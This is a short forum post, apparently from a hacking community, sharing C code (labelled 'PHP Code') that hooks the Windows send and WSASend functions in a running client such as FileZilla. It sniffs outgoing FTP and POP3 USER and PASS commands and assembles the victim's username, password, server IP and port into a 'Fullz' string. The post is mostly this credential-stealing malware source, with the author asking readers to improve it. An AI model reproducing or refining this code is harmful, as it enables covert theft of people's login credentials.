Send & WSASend are Hooked.
I've tested it on Filezilla and it works.
I Love feedback, please give some feedback and if you can make this function smaller, faster, easier, better whatever post it.
I've tested it on Filezilla and it works.
PHP Code
<?php
int WINAPI HOOK_send( SOCKET s, const char *buf, int len, int flags)
{
int hResult = REAL_send( s, buf, len, flags);
if(hResult > 0)
{
ExportBuffer((char*)buf, s);
}
return hResult;
}
PHP Code
<?php
int WINAPI HOOK_WSASend( SOCKET s,LPWSABUF lpBuffers,DWORD dwBufferCount,LPDWORD lpNumberOfBytesSent,DWORD dwFlags,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
{
int hResult = REAL_WSASend( s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
if(hResult > 0)
{
ExportBuffer((char*)lpBuffers->buf, s);
}
return hResult;
}
PHP Code
<?php
void ExportBuffer(char *buf, SOCKET s )
{
if(memcmp(buf, "USER ", 5) == 0)
{
wsprintfA(Username, "%s", buf);
return;
}
if(memcmp(buf, "PASS ", 5) == 0)
{
if(lstrlen(Username) != NULL)
{
sockaddr_in peeraddr;
int size = sizeof(peeraddr);
getpeername(s, (struct sockaddr *)&peeraddr, &size);
struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr;
char* IP = inet_ntoa(peeraddr.sin_addr);
int Port = (int)htons( peeraddr.sin_port );
if(lstrlen(IP) != NULL && Port > 0)
{
wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", Username, buf, inet_ntoa(peeraddr.sin_addr), Port);
MessageBoxA(0, Fullz, 0, 0);
}
return;
}
}
return;
}
I Love feedback, please give some feedback and if you can make this function smaller, faster, easier, better whatever post it.
